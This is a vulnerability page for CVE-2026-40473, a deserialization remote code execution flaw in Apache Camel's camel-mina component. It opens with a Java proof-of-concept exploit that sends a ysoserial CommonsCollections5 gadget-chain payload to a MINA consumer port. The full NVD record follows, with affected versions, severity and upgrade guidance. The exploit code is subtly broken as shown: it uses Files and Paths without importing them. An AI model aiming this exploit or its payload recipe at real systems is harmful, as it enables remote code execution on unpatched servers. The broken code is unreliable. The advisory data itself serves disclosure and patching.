CVE-2026-40473

import java.io.*; import java.net.*; // PoC for CVE-2026-40473: Apache Camel Mina Deserialization RCE // This PoC sends a malicious serialized Java object to a vulnerable MINA endpoint. public class CVE202640473_PoC { public static void main(String[] args) { String targetHost = "127.0.0.1"; // Target IP int targetPort = 8888; // Target Port (TCP/UDP) try { // 1. Generate malicious payload (using ysoserial for example) // Command: java -jar ysoserial.jar CommonsCollections5 "calc.exe" > payload.bin byte[] payload = Files.readAllBytes(Paths.get("payload.bin")); // 2. Establish connection to the vulnerable Camel MINA consumer Socket socket = new Socket(targetHost, targetPort); OutputStream outputStream = socket.getOutputStream(); // 3. Send the malicious serialized object outputStream.write(payload); outputStream.flush(); System.out.println("[+] Payload sent to " + targetHost + ":" + targetPort); socket.close(); } catch (Exception e) { e.printStackTrace(); } } }

{"cve": {"id": "CVE-2026-40473", "sourceIdentifier": "[email protected]", "published": "2026-04-27T09:16:01.640", "lastModified": "2026-04-28T19:43:05.663", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The camel-mina component's MinaConverter.toObjectInput(IoBuffer) type converter wraps an IoBuffer in a java.io.ObjectInputStream without applying any ObjectInputFilter or class-loading restrictions. When a Camel route uses camel-mina as a TCP or UDP consumer and requests conversion to ObjectInput (for example via getBody(ObjectInput.class) or @Body ObjectInput), an attacker sending a crafted serialized Java object over the network to the MINA consumer port can trigger arbitrary code execution in the context of the application during readObject().\n\nThis issue affects Apache Camel: from 3.0.0 before 4.14.6, from 4.15.0 before 4.18.2, from 4.19.0 before 4.20.0.\n\nUsers are recommended to upgrade to version 4.20.0, which fixes the issue. If users are on the 4.14.x LTS releases stream, then they are suggested to upgrade to 4.14.6. If users are on the 4.18.x releases stream, then they are suggested to upgrade to 4.18.2."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-502"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:apache:camel:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.0.0", "versionEndExcluding": "4.14.6", "matchCriteriaId": "3CB451CA-CD89-4D27-A289-1456E97FCB24"}, {"vulnerable": true, "criteria": "cpe:2.3:a:apache:camel:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.15.0", "versionEndExcluding": "4.18.2", "matchCriteriaId": "806A2561-97E3-42A3-931D-A9040BB96CE5"}, {"vulnerable": true, "criteria": "cpe:2.3:a:apache:camel:4.19.0:*:*:*:*:*:*:*", "matchCriteriaId": "EDA4D206-8808-4D2A-873E-8488DD7E3E16"}]}]}], "references": [{"url": "https://camel.apache.org/security/CVE-2026-40473.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "http://www.openwall.com/lists/oss-security/2026/04/26/8", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Mailing List", "Third Party Advisory"]}]}}